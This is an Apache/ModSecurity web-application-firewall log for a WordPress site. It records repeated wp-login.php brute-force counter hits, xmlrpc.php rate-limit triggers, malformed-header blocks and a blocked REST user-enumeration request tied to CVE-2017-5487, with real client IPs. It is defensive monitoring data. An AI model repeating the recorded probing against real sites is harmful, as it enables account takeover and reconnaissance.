[Tue Nov 18 23:18:56.118769 2025] [:error] [pid 44560:tid 44573] [client 198.54.119.81:58018] [client 198.54.119.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.119.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyOYAnbP7etF3q5-5vjnQAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 23:20:57.103216 2025] [:error] [pid 44472:tid 44531] [client 66.29.153.199:36338] [client 66.29.153.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyO2YKhGwkiLjv8BQw5uQAAAUA"]
[Tue Nov 18 23:20:58.203604 2025] [:error] [pid 44472:tid 44550] [client 66.29.153.199:36338] [client 66.29.153.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyO2oKhGwkiLjv8BQw5vAAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 23:49:18.916386 2025] [:error] [pid 44472:tid 44539] [client 192.64.117.77:40782] [client 192.64.117.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyVfoKhGwkiLjv8BQxA6gAAAUg"]
[Tue Nov 18 23:49:20.568790 2025] [:error] [pid 44472:tid 44554] [client 192.64.117.77:40782] [client 192.64.117.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyVgIKhGwkiLjv8BQxA7AAAAVc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 23:50:24.139880 2025] [:error] [pid 1387:tid 1412] [client 209.74.67.72:60800] [client 209.74.67.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.72, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyVwEzBvalKyx3hMvXCSwAAABM"]
[Tue Nov 18 23:50:25.358412 2025] [:error] [pid 1387:tid 1411] [client 209.74.67.72:60800] [client 209.74.67.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.72, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyVwUzBvalKyx3hMvXCTgAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:12:21.428827 2025] [:error] [pid 44624:tid 44638] [client 185.249.40.156:54096] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRya5SllffozoBluWCUOHQAAAYs"]
[Wed Nov 19 00:12:22.580310 2025] [:error] [pid 44624:tid 44641] [client 185.249.40.156:54096] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRya5illffozoBluWCUOIwAAAY4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:20:06.746318 2025] [:error] [pid 43880:tid 43887] [client 67.205.40.199:54650] [client 67.205.40.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.40.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyctu1q1HNbKyNr9SZBjwAAAEI"]
[Wed Nov 19 00:22:09.945940 2025] [:error] [pid 43880:tid 43901] [client 162.213.251.119:55700] [client 162.213.251.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.213.251.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRydMe1q1HNbKyNr9SZC9gAAAFA"]
[Wed Nov 19 00:22:11.300732 2025] [:error] [pid 43880:tid 43887] [client 162.213.251.119:55700] [client 162.213.251.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.213.251.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRydM-1q1HNbKyNr9SZC-AAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:22:59.434858 2025] [:error] [pid 44063:tid 44131] [client 162.213.251.119:49050] [client 162.213.251.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.213.251.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRydY0VOSC7H33BBqQ3N3gAAAI4"]
[Wed Nov 19 00:23:44.576306 2025] [:error] [pid 43881:tid 43916] [client 66.29.141.19:48422] [client 66.29.141.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.141.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRydkH_TrIND5buvEye60QAAAUM"]
[Wed Nov 19 00:23:46.720282 2025] [:error] [pid 43881:tid 43930] [client 66.29.141.19:48422] [client 66.29.141.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.141.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRydkn_TrIND5buvEye63AAAAVE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:29:19.356709 2025] [:error] [pid 43882:tid 43957] [client 185.249.40.156:39208] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRye395CQQLff3maRMLMYQAAABE"]
[Wed Nov 19 00:29:21.261623 2025] [:error] [pid 43882:tid 43961] [client 185.249.40.156:39208] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRye4d5CQQLff3maRMLMagAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:29:34.463306 2025] [:error] [pid 43880:tid 43888] [client 185.249.40.156:58170] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRye7u1q1HNbKyNr9SZGwAAAAEM"]
[Wed Nov 19 00:29:35.676838 2025] [:error] [pid 43880:tid 43887] [client 185.249.40.156:58170] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRye7-1q1HNbKyNr9SZGxQAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:29:38.785207 2025] [:error] [pid 3052:tid 3146] [client 185.249.40.156:58178] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRye8lNM6bOMTTuJnz1Y7AAAANE"]
[Wed Nov 19 00:29:39.849584 2025] [:error] [pid 3052:tid 3142] [client 185.249.40.156:58178] [client 185.249.40.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.249.40.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRye81NM6bOMTTuJnz1Y8AAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:37:47.463825 2025] [:error] [pid 43880:tid 43903] [client 54.39.104.34:48642] [client 54.39.104.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.39.104.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyg2-1q1HNbKyNr9SZKKAAAAFI"]
[Wed Nov 19 00:37:48.889320 2025] [:error] [pid 43880:tid 43906] [client 54.39.104.34:48642] [client 54.39.104.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.39.104.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyg3O1q1HNbKyNr9SZKMwAAAFU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 00:50:50.713856 2025] [:error] [pid 43881:tid 43934] [client 125.75.66.97:56865] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRyj6n_TrIND5buvEyfGYQAAAVU"]
[Wed Nov 19 00:56:44.985565 2025] [:error] [pid 43882:tid 43962] [client 49.51.183.75:33476] [client 49.51.183.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRylTN5CQQLff3maRMLYcwAAABY"]
[Wed Nov 19 01:02:50.926257 2025] [:error] [pid 43881:tid 43928] [client 63.250.38.180:34782] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRymun_TrIND5buvEyfL2AAAAU8"]
[Wed Nov 19 01:02:52.222749 2025] [:error] [pid 43881:tid 43927] [client 63.250.38.180:34782] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRymvH_TrIND5buvEyfL3QAAAU4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 01:04:06.639616 2025] [:error] [pid 3052:tid 3146] [client 68.65.123.38:59652] [client 68.65.123.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRynBlNM6bOMTTuJnz1t2AAAANE"]
[Wed Nov 19 01:04:07.874263 2025] [:error] [pid 3052:tid 3150] [client 68.65.123.38:59652] [client 68.65.123.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRynB1NM6bOMTTuJnz1t2wAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 01:24:59.697334 2025] [:error] [pid 43881:tid 43934] [client 130.195.240.13:30907] [client 130.195.240.13] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aRyr63_TrIND5buvEyfU7wAAAVU"]
[Wed Nov 19 01:25:01.382749 2025] [:error] [pid 43881:tid 43917] [client 130.195.240.13:30907] [client 130.195.240.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.240.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr7X_TrIND5buvEyfU9QAAAUQ"]
[Wed Nov 19 01:25:03.019780 2025] [:error] [pid 44063:tid 44141] [client 130.195.240.13:61183] [client 130.195.240.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.240.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr70VOSC7H33BBqQ3t4AAAAJg"]
[Wed Nov 19 01:25:04.543038 2025] [:error] [pid 43882:tid 43957] [client 130.195.240.13:3041] [client 130.195.240.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.240.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr8N5CQQLff3maRMLjEAAAABE"]
[Wed Nov 19 01:25:06.306460 2025] [:error] [pid 43881:tid 43915] [client 130.195.240.13:46528] [client 130.195.240.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.240.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr8n_TrIND5buvEyfU_QAAAUI"]
[Wed Nov 19 01:25:08.187818 2025] [:error] [pid 43881:tid 43925] [client 130.195.240.13:22768] [client 130.195.240.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.240.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr9H_TrIND5buvEyfVBwAAAUw"]
[Wed Nov 19 01:25:10.452272 2025] [:error] [pid 44063:tid 44117] [client 130.195.240.13:63810] [client 130.195.240.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.195.240.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr9kVOSC7H33BBqQ3t7gAAAIA"]
[Wed Nov 19 01:25:10.452445 2025] [:error] [pid 44063:tid 44117] [client 130.195.240.13:63810] [client 130.195.240.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 130.195.240.13, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRyr9kVOSC7H33BBqQ3t7gAAAIA"]
[Wed Nov 19 01:26:03.696282 2025] [:error] [pid 3052:tid 3139] [client 152.53.211.118:33618] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.211.118, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRysK1NM6bOMTTuJnz16VwAAAMo"]
[Wed Nov 19 01:26:08.996855 2025] [:error] [pid 3052:tid 3149] [client 152.53.211.118:33618] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.211.118, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRysMFNM6bOMTTuJnz16YwAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 01:31:59.393314 2025] [:error] [pid 43881:tid 43916] [client 66.29.146.11:40566] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRytj3_TrIND5buvEyfX2wAAAUM"]
[Wed Nov 19 01:32:01.099023 2025] [:error] [pid 43881:tid 43921] [client 66.29.146.11:40566] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRytkX_TrIND5buvEyfX4QAAAUg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 01:34:46.501627 2025] [:error] [pid 3052:tid 3135] [client 162.0.209.147:55332] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyuNlNM6bOMTTuJnz2AhQAAAMY"]
[Wed Nov 19 01:34:47.684362 2025] [:error] [pid 3052:tid 3147] [client 162.0.209.147:55332] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyuN1NM6bOMTTuJnz2AhgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 01:35:45.603794 2025] [:error] [pid 43880:tid 43886] [client 198.54.114.107:36008] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyuce1q1HNbKyNr9SZmNgAAAEE"]
[Wed Nov 19 01:35:48.364444 2025] [:error] [pid 43880:tid 43888] [client 198.54.114.107:36008] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyudO1q1HNbKyNr9SZmOgAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 01:44:00.668149 2025] [:error] [pid 44063:tid 44128] [client 54.39.104.34:51178] [client 54.39.104.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.39.104.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRywYEVOSC7H33BBqQ335AAAAIs"]
[Wed Nov 19 01:44:04.470437 2025] [:error] [pid 44063:tid 44126] [client 54.39.104.34:51178] [client 54.39.104.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.39.104.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRywZEVOSC7H33BBqQ336wAAAIk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 02:04:17.821347 2025] [:error] [pid 43881:tid 43922] [client 162.0.232.52:56026] [client 162.0.232.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy1IX_TrIND5buvEyfkDAAAAUk"]
[Wed Nov 19 02:04:19.067666 2025] [:error] [pid 43881:tid 43916] [client 162.0.232.52:56026] [client 162.0.232.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy1I3_TrIND5buvEyfkDQAAAUM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 02:26:41.671397 2025] [:error] [pid 44063:tid 44126] [client 133.167.69.42:43720] [client 133.167.69.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 133.167.69.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRy6YUVOSC7H33BBqQ0KTAAAAIk"]
[Wed Nov 19 02:37:32.024205 2025] [:error] [pid 43880:tid 43888] [client 162.0.209.147:55332] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy87O1q1HNbKyNr9SZ_9gAAAEM"]
[Wed Nov 19 02:37:33.287687 2025] [:error] [pid 43880:tid 43905] [client 162.0.209.147:55332] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy87e1q1HNbKyNr9SZ_-gAAAFQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 02:39:29.513592 2025] [:error] [pid 43882:tid 43942] [client 52.242.231.141:27204] [client 52.242.231.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.231.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy9Yd5CQQLff3maRMICBwAAAAI"]
[Wed Nov 19 02:39:32.207957 2025] [:error] [pid 43882:tid 43960] [client 52.242.231.141:27204] [client 52.242.231.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.231.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy9ZN5CQQLff3maRMICCwAAABQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 02:41:38.223189 2025] [:error] [pid 43882:tid 43957] [client 52.242.231.141:3246] [client 52.242.231.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.231.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy94t5CQQLff3maRMIC9AAAABE"]
